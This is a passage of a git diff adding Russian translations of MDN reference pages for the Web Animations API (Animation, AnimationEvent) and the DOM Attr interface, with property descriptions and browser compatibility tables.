+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-cancel', 'Animation.cancel()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(26)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39)}}</td>
+   <td>{{CompatChrome(39)}}</td>
+   <td>{{CompatGeckoMobile(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(26)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" style="line-height: 30px; font-size: 2.14285714285714rem;">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("KeyframeEffect")}}</li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("Animation.playState")}}</li>
+ <li>{{domxref("Animation.finished")}} returns the promise this action will reject if the animation's <code>playState</code> is not <code>"idle"</code>.</li>
+</ul>
diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html
new file mode 100644
index 0000000000..d1deb15f99
--- /dev/null
+++ b/files/ru/web/api/animation/index.html
@@ -0,0 +1,190 @@
+---
+title: Animation
+slug: Web/API/Animation
+translation_of: Web/API/Animation
+---
+<div>{{ APIRef("Web Animations") }}{{SeeCompatTable}}</div>
+
+<p><code><strong>Animation</strong></code> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>, представляет из себя одиночный проигрыватель анимации и обеспечивает управление воспроизведением и временную шкалу для узла анимации или источника.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt>
+ <dd>Создает новый экземпляр объекта <code>Animation.</code></dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Animation.currentTime")}}</dt>
+ <dd>Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.effect")}}</dt>
+ <dd>Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.</dd>
+ <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает текущее завершенное Promise(обещание) для этой анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.id")}}</dt>
+ <dd>Возвращает и задает String(строку), используемую для идентификации анимации.</dd>
+ <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.playbackRate")}}</dt>
+ <dd>Возвращает или задает скорость воспроизведения анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.ready")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает текущее готовое Promise(обещание) для этой анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.startTime")}}</dt>
+ <dd>Возвращает или задает начало выполнения анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.timeline")}}</dt>
+ <dd>Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("Animation.oncancel")}}</dt>
+ <dd>Возвращает и задает обработчик событий для отмены события.</dd>
+ <dt>{{domxref("Animation.onfinish")}}</dt>
+ <dd>Возвращает и задает обработчик событий для завершения события.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Animation.cancel()")}}</dt>
+ <dd>Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.</dd>
+ <dt>{{domxref("animation.commitStyles()")}}</dt>
+ <dd>Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.finish()")}}</dt>
+ <dd>Ищет конец анимации, в зависимости от того, играет ли анимация или инвертирует.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.pause()")}}</dt>
+ <dd>Приостанавливает запущенную анимацию.</dd>
+ <dt>{{domxref("animation.persist()")}}</dt>
+ <dd>Анимация сохраняется в явном виде, когда в противном случае она была бы удалена из-за поведения браузера, которое предполагает автоматическое удаление анимаций заполнения.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.play()")}}</dt>
+ <dd>Запускает или продолжает выполнение анимации или начинает анимацию снова, если она ранее завершилась.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.reverse()")}}</dt>
+ <dd>Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.</dd>
+ <dt>{{domxref("Animation.updatePlaybackRate()")}}</dt>
+ <dd>Задает скорость анимации после синхронизации ее положения воспроизведения.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(39.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Конструктор</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Конструктор</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Chrome 44, реализован как <code>AnimationPlayer</code> (название интерфейса в ранней версии спецификации).</p>
+
+<p>[2] API Веб Анимации включён по умолчанию только в Firefox Developer Edition и в Nightly builds. Вы можете включить его в сборках beta и release переключив свойство <code>dom.animations-api.core.enabled</code> на <code>true</code>, и можете выключить его в любой версии Firefox переключив его на <code>false</code>.</p>
+
+<p>[3] До Firefox 51, свойство {{domxref("Animation.effect")}} было только для чтения.</p>
diff --git a/files/ru/web/api/animationevent/animationevent/index.html b/files/ru/web/api/animationevent/animationevent/index.html
new file mode 100644
index 0000000000..11d4a5cc71
--- /dev/null
+++ b/files/ru/web/api/animationevent/animationevent/index.html
@@ -0,0 +1,67 @@
+---
+title: AnimationEvent()
+slug: Web/API/AnimationEvent/AnimationEvent
+translation_of: Web/API/AnimationEvent/AnimationEvent
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<p>The <code><strong>AnimationEvent()</strong></code> constructor returns a newly created {{domxref("AnimationEvent")}}, representing an event in relation with an animation.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>animationEvent</em> = new AnimationEvent(<em>type</em>, {animationName: <em>aPropertyName</em>,
+                                           elapsedTime  : <em>aFloat</em>,
+                                           pseudoElement: <em>aPseudoElementName</em>});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><em>Конструктор <code>AnimationEvent()</code>  также наследует аргументы от объекта {{domxref("Event.Event", "Event()")}}.</em></p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>A {{domxref("DOMString")}} representing the name of the type of the <code>AnimationEvent</code>. It is case-sensitive and can be: <code>'animationstart'</code>, <code>'animationend'</code>, or <code>'animationiteration'</code>.</dd>
+ <dt><code>animationName</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition. It defaults to <code>""</code>.</dd>
+ <dt><code>elapsedTime</code> {{optional_inline}}</dt>
+ <dd>A <code>float</code> giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. For an <code>"animationstart"</code> event, <code>elapsedTime</code> is <code>0.0</code> unless there was a negative value for {{cssxref("animation-delay")}}, in which case the event will be fired with <code>elapsedTime</code> containing <code>(-1 * </code><em>delay</em><code>)</code>. It defaults to <code>0.0</code>.</dd>
+ <dt><code>pseudoElement</code> {{optional_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, starting with <code>"::"</code>, containing the name of the <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="Learn more about pseudo-elements.">pseudo-element</a> the animation runs on. If the animation doesn't run on a pseudo-element but on the element itself, specify an empty string: <code>""</code>. It defaults to <code>""</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>A new {{domxref("AnimationEvent")}}, initialized per any provided options.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.AnimationEvent.AnimationEvent")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ru/web/api/animationevent/index.html b/files/ru/web/api/animationevent/index.html
new file mode 100644
index 0000000000..746d34bfed
--- /dev/null
+++ b/files/ru/web/api/animationevent/index.html
@@ -0,0 +1,182 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Web Animations API")}}</p>
+
+<p>AnimationEvent - это интерфейс представляющий события, содержащии информацию, связанную с анимацией.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Также свойства наследуются от родителя {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>Является {{domxref("DOMString")}} создержащей значения {{cssxref("animation-name")}} CSS свойств связанных с <strong>transition.</strong></dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>Является числом с плавающей точкой, которое задаёт коливество времени от начала анимации в секундах, когда это событие отклоненно, несмотря на какое-либо время анимация была остановленна.Для события   "animationstart" , elapsedTime равно  <code>0.0 если не было заданно отрицательное значение для </code>{{cssxref("animation-delay")}}, в этом случае событие будет срабатывать с  elapsedTime содержащим <code>(-1 * </code><em>delay</em><code>)</code>.</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>Является  {{domxref("DOMString")}}, начинающийся с '::', содержащий имя <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">псевдо-элемента </a> ,на котором работает анимация.Если анимация не работает на псевдо-элементе, но работает на элементе,значит указанна пустая строка ' '. </dd>
+ <dt>
+ <h2 id="Конструктор">Конструктор</h2>
+
+ <p> </p>
+ </dt>
+ <dt>{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}</dt>
+ <dd>Создаёт событие AnimationEvent с передачей параметров.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Также наследуют методы от родителя {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>Инициализирует AnimationEvent созданную используя резко суждённый метод {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}.</dd>
+ <dt>
+ <h2 id="Спецификация">Спецификация</h2>
+
+ <p> </p>
+ </dt>
+ <dt>
+ <table>
+  <thead>
+   <tr>
+    <th scope="col">Спецификация</th>
+    <th scope="col">Статус</th>
+    <th scope="col">Комментарий</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+    <td>{{ Spec2('CSS3 Animations') }}</td>
+    <td>
+     <p>Определяет инициализацию</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dt>
+</dl>
+
+<h2 id="Поддержка_браузерами"> Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>1.0 {{ property_prefix("webkit") }}</p>
+
+    <p>{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>4.0 {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>Конструктор AnimationEvent()</code></td>
+   <td>
+    <p>{{CompatChrome(43.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code>{{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}<br>
+    Removed in {{ CompatGeckoDesktop("23.0") }}</td>
+   <td>10.0</td>
+   <td>12</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>Псевдо-элемент</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>10.0</td>
+   <td>12 {{ property_prefix("o") }}<br>
+    12.10<br>
+    15.0 {{ property_prefix("webkit") }}</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("webkit") }}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>Конструктор AnimationEvent()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>initAnimationEvent()</code>{{non-standard_inline}}{{deprecated_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}<br>
+    Removed in {{ CompatGeckoMobile("23.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Псевдо-элемент</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("23.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Использование CSS анимации</a></li>
+ <li>Анимация связанных CSS свойств и по правилам: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html
new file mode 100644
index 0000000000..a762dfa74e
--- /dev/null
+++ b/files/ru/web/api/attr/index.html
@@ -0,0 +1,211 @@
+---
+title: Attr
+slug: Web/API/Attr
+translation_of: Web/API/Attr
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Этот тип представляет атрибут элемента DOM в виде объекта. В большинстве методов DOM вы, вероятно, непосредственно извлекаете атрибут в виде строки (например, {{domxref ("Element.getAttribute ()")}}, но некоторые функции (например, {{domxref ("Element.getAttributeNode ()" )}}) или средства итерации, отдают тип <code>Attr</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<div class="warning"><strong>Внимание:</strong>  Начиная с Gecko 7.0 {{geckoRelease("7.0")}},  устаревшие  свойства и мотоды при обращении выведут  предупреждающие сообщения на консоль. Поэтому  вы должны   проверить свой код. Смотрите полный список  <a href="#Deprecated_properties_and_methods">устаревших свойств и методов</a>.</div>
+
+<h2 id="Свойства">Свойства </h2>
+
+<dl>
+ <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt>
+ <dd>Имя аттрибута.</dd>
+ <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.</dd>
+ <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}}  представление локальной части полного имени атрибута.</dd>
+ <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt>
+ <dd>{{domxref("DOMString")}}  представление префикс пространства имен атрибута, или NULL, если префикс не указан.</dd>
+ <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt>
+ <dd>
+ <p>Элемнет, содержащий атрибут.</p>
+
+ <div class="note">
+ <p><strong>Примечание:</strong> DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент.  Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым  {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. </p>
+
+ <p>Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt>
+ <dd>Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию  определенном в DTD документе.</dd>
+ <dt>{{domxref("Attr.value", "value")}}</dt>
+ <dd>Значение атрибута</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> уровень DOM 3 определил  <code>namespaceURI</code>, <code>localName </code> и   <code>prefix</code> в {{domxref("Node")}} интерфейсе. В DOM4 они были перемещены в <code>Attr</code>.</p>
+
+<p>Это изменение реализовано в Chrome с версии 46.0 и Firefox с версии 48.</p>
+</div>
+
+<h2 id="Устаревшие_свойства_и_методы">Устаревшие свойства и методы </h2>
+
+<p>Эти свойства устарели.  Там где это допустимо представлена соответствующая замена.</p>
+
+<dl>
+ <dt><code>attributes</code></dt>
+ <dd>Это свойство всегда возвращает значение <code>NULL</code>.</dd>
+ <dt><code>childNodes</code> {{obsolete_inline(14)}}</dt>
+ <dd>Это свойство всегда возвращает пустой  {{domxref("NodeList")}}.</dd>
+ <dt><code>firstChild</code> {{obsolete_inline(14)}}</dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>isId</code> {{readOnlyInline}}</dt>
+ <dd>Указывает, является ли атрибут "ID attribute". "ID attribute" - это атрибут, значение которого должно быть уникальным в документе DOM. В HTML DOM "id" является единственным атрибутом ID, но XML-документы могут определять иные. Уникальность атрибута часто определяется {{Glossary("DTD")}} или другим описанием схемы.</dd>
+ <dt><code>lastChild</code> {{obsolete_inline(14)}}</dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>nextSibling</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>nodeName</code></dt>
+ <dd>Используйте {{domxref("Attr.name")}} взамен.</dd>
+ <dt><code>nodeType</code></dt>
+ <dd>Это свойство теперь всегда возвращает 2 (<code>ATTRIBUTE_NODE</code>).</dd>
+ <dt><code>nodeValue</code></dt>
+ <dd>Используйте {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>ownerDocument</code></dt>
+ <dd> Вы не должны были использовать это свойство в первую очередь, поэтому вам, вероятно, все равно, что это  свойство больше не используется. </dd>
+ <dt><code>parentNode</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>previousSibling</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>NULL</code>.</dd>
+ <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt>
+ <dd>Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова  {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.</dd>
+ <dt> </dt>
+ <dt><code>specified</code></dt>
+ <dd>Это свойство всегда возвращает значение  <code>true</code>.</dd>
+ <dt><code>textContent</code></dt>
+ <dd>Используйте  {{domxref("Attr.value")}} взамен.</dd>
+</dl>
+
+<p>The following methods have been deprecated:</p>
+
+<dl>
+ <dt><code>appendChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Измените значение {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>cloneNode()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>createAttribute()</code></dt>
+ <dd>Используйте  {{domxref("Element.setAttribute()")}} взамен.</dd>
+ <dt><code>createAttributeNS()</code></dt>
+ <dd>Используйте {{domxref("Element.setAttributeNS()")}} взамен.</dd>
+ <dt><code>getAttributeNode()</code></dt>
+ <dd>Используйте  {{domxref("Element.getAttribute()")}} взамен.</dd>
+ <dt><code>getAttributeNodeNS()</code></dt>
+ <dd>Используйте  {{domxref("Element.getAttributeNS()")}}  взамен.</dd>
+ <dt><code>hasAttributes() </code>{{obsolete_inline("21.0")}}</dt>
+ <dd>Этот  метод всегда возвращает значение  false.</dd>
+ <dt><code>hasChildNodes()</code></dt>
+ <dd>Этот  метод всегда возвращает значение  false.</dd>
+ <dt><code>insertBefore()</code></dt>
+ <dd>Измените значение  {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>isSupported()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>isEqualNode()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>normalize()</code></dt>
+ <dd> Вы не должны были использовать это  в первую очередь, поэтому вам, вероятно, все равно, что это больше не используется. </dd>
+ <dt><code>removeAttributeNode()</code></dt>
+ <dd>Используйте {{domxref("Element.removeAttribute()")}} взамен.</dd>
+ <dt><code>removeChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Измените значение {{domxref("Attr.value")}} взамен..</dd>
+ <dt><code>replaceChild()</code> {{obsolete_inline(14)}}</dt>
+ <dd>Modify the value of {{domxref("Attr.value")}} взамен.</dd>
+ <dt><code>setAttributeNode()</code></dt>
+ <dd>Используйте {{domxref("Element.setAttribute()")}} взамен.</dd>
+ <dt><code>setAttributeNodeNS()</code></dt>
+ <dd>Используйте {{domxref("Element.setAttributeNS()")}} взамен.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Added <code>ownerElement</code> property back</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#interface-attr", "Attr")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Moved <code>namespaceURI</code>, <code>prefix</code> and <code>localName</code> from {{domxref("Node")}} to this API and removed <code>ownerElement</code>, <code>schemaTypeInfo</code> and <code>isId</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-637646024", "Attr")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
